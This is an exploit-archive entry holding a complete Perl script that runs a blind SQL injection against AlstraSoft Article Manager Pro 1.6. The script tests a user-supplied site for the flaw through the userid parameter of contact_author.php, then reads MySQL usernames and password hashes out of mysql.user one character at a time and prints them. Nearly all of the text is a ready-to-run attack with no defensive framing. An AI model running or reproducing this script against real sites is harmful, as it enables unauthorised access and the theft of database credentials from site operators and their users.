SecurityReason - AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit ( Exploit )

Exploit Code :

#/usr/bin/perl
#|+| Author: GoLd_M
#--//-->
# -- AlstraSoft Article Manager Pro Blind SQL Injection Exploit --
#--//--> Exploit :
use strict;
use LWP::Simple;

print
"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-\n";
print "- AlstraSoft Article Manager Pro Blind SQL Injection Exploit
-\n";
print " GoLd_M Mahmood_ali Tryag.cc/cc
\n";
print
"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n";

print "\nEnter URL (ie: http://server.com): ";
chomp(my $url=<STDIN>);

if(inject_test($url)) {
print "Injecting.. Please Wait this could take several minutes..\n\n";
my $details = blind($url);
print "Exploit Success! Admin Details: ".$details;
exit;
}

sub blind {

my $url = shift;
my $res = undef;
my $chr = 48;
my $substr = 1;
my $done = 1;

while($done) {
my $content = get($url."/contact_author.php?userid=1) and
ascii(substring((SELECT CONCAT(username,0x3a,password,0x5E) FROM
mysql.user),".$substr.",1))=".$chr."/*");

if($content =~ /Previous/ && $chr == 94) { $done = 0; }
elsif($content =~ /Previous/) { $res .= chr($chr); $substr++; $chr = 48;
}
else { $chr++; }
}
return $res;
}

sub inject_test {

my $url = shift;
my $true = get($url."/contact_author.php?userid=1) and 1=1 /*");
my $false = get($url."/contact_author.php?userid=1) and 1=2 /*");

if($true =~ /Previous/ && $false !~ /Previous/) {
print "\nTarget Site Vulnerable!\n\n";
return 1;
} else { print "\nTarget Site Not Vulnerable! Exiting..\n"; exit; }
}